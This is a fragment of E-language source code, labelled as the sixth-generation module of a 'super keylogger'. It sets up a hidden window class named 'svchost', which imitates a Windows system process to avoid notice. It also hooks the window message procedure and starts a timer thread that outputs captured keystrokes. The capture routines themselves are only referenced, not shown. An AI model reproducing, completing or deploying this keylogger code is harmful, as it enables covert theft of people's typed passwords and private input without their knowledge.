超级键盘记录器第6代模块

注:你在一个窗口输入完再去另一个窗口输入，这个窗口输入的数据才会立即输出，或者时间机制到了自动输出。

窗口类名 ＝ “svchost”
' 下面的代码填写窗口类的“注册表格”
窗口类.cbSize ＝ 48 ' 要指定整个结构所占的字节数，必须
窗口类.style ＝ 位或 (#CS_HREDRAW, #CS_VREDRAW, #CS_DBLCLKS)
窗口类.hInstance ＝ GetModuleHandle (NULL) ' 取当前应用程序的实例句柄。
' 上面这句也可以这样：
' 窗口类.hInstance ＝ GetModuleHandle (取执行文件名 ())
' ！！注意：LoadIcon和LoadCursor的两个函数的参数都改成了整数型。
窗口类.hCursor ＝ LoadCursor (0, #IDC_ARROW)
窗口类.hbrBackground ＝ #COLOR_BTNFACE ＋ 1 ' 也可以使用其他的Color常量，注意在后面要＋1。
窗口类.lpszClassName ＝ 窗口类名
窗口类.lpfnWndProc ＝ &窗口函数
' 注册表填写好了之后，进行注册登记窗口类。
.如果真 (RegisterClassEx (窗口类) ＝ 0)
返回 (1)
.如果真结束
' 窗口类注册成功了就可以创建窗口了。
窗口样式 ＝ #WS_MINIMIZEBOX
窗口句柄 ＝ CreateWindowEx (0, 窗口类名, “”, 窗口样式, #CW_USEDEFAULT, #CW_USEDEFAULT, 0, 0, 0, 0, 窗口类.hInstance, 0)
.如果真 (窗口句柄 ＝ 0)
返回 (1)
.如果真结束
hWnd ＝ 窗口句柄
Init (hWnd)
lpPrevWndFunc ＝ SetWindowLongA (hWnd, #GWL_WNDPROC, &func_Message)
time_A ＝ 时间_取现行时间戳 (真)
启动线程 (&时间机制, , )
' 下面就是消息循环
' 当GetMessage函数发现消息的消息值为WM_QUIT的时候，就返回0，从而退出循环。
.判断循环首 (GetMessage (消息, 0, 0, 0) ≠ 0)
TranslateMessage (消息)
DispatchMessage (消息)
.判断循环尾 ()
返回 (消息.wParam)